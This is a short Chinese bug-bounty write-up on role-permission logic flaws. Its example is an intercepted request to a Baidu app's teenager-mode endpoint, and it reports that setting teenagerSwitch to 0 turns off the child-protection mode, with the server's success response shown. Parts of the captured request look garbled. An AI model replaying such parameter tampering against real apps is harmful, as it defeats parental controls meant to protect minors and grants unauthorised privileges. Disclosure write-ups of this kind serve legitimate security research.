

角色权限缺陷逻辑

0X01:漏洞点

在挖掘漏洞的时候，我们经常遇见一些带有角色权限的数据，比如家长，教师，学生，青少年等模式，这些往往都是一个参数来控制的，我们只需要抓包对参数进行分析，然后修改参数，进而绕过或者越权获取别人的权限。

0X02: 案例

危害自评 中危

审核等级 低危

奖励安全币 10

附件 --

描述 在 [baiduapp](#) 青少年模式设置处抓包：

```
1 POST /appui/user/setteenagerinfo?tn=1008350&ctn=
1008350&time=484F98BA-FC8B-4A10-ACD3-833643C0C0C0&cuid=
3C27B1B8A2536AF970A5C358740A686C7F0A832C7A03DTPPGC64os=ios&
oobx=anoh=10&ua=1000_1520_401&uc=iPhone12,2C5_14.8.1&ub=
A19120B1onic&api=1.0.0.0&appv=1&version=3.4.5.10&life=
1630697576&clife=1630697576&wid=17103_1chid=
92B05AACB25F01698438635AD34E7531dfa=
00000000-0000-0000-0000-000000000000&teenager=1&activity_ext=
&type=1&logon&hmet_type=1&network_state=20&api_name=
setteenagerinfo HTTP/2
2 Host:
3 Cookie:
4 Accept: */*
5 Content-Type: application/x-www-form-urlencoded
6 Referer: https://quanxin.baidu.com/
7 Content-Length: 66
8 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like
Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)
Mobile/15E148 bdmninvideo/3.4.5.10 (Baidu; PC
14.8.1)svan-bdmninvideo
9 Accept-Language: zh-Hans;q=1
10 Accept-Encoding: gzip, deflate
11
12 teenagerPassword=4a7d1ed41474e4033ac25ccb8653d5ba
teenagerSwitch=0
```

然后改为0置放即可解除青少年模式，退出刷新即可

```
1 HTTP/2 200 OK
2 Content-Type: application/json
3 Date: Thu, 09 Dec 2021 04:15:09 GMT
4 Edoceart: 09052011713214050627305027440120912
5 Server: BWS
6 Strict-Transport-Security: max-age=31536000
7 Traceid: 16390C3309038737101806029546180539555479
8 Vary: Accept-Encoding
9 Content-Length: 167
10
11 {
  "timestamp": 16390C3309,
  "logid": "0905201171",
  "servLogin": true,
  "setteenagerinfo": {
    "status": 0,
    "msg": "\u8210\u529f",
    "data": {
      "status": 0,
      "msg": "\u8bbe\u7f6e\u8210\u529f"
    }
  }
}
```